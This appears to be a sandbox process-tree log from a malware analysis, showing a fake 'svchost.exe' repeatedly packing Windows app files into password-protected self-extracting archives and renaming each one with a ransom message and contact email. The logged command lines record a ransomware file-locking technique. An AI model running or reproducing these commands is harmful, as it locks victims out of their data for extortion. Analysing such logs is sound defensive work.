                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MixedRealityPortalSplashScreen.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MixedRealityPortalSplashScreen.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MixedRealityPortalStoreLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.MixedReality.Portal_2000.19081.1301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\MixedRealityPortalStoreLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleAppList.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleAppList.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4016
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleAppStoreLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleAppStoreLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleLargeTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleLargeTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleMedTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleMedTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleSmallTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleSmallTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleSplashScreen.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleSplashScreen.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleWideTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PeopleWideTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleAppList.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleAppList.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3596
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleAppStoreLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleAppStoreLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleLargeTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleLargeTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleMedTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleMedTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleSmallTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleSmallTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleSplashScreen.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleSplashScreen.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleWideTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.People_10.1902.633.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\PeopleWideTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
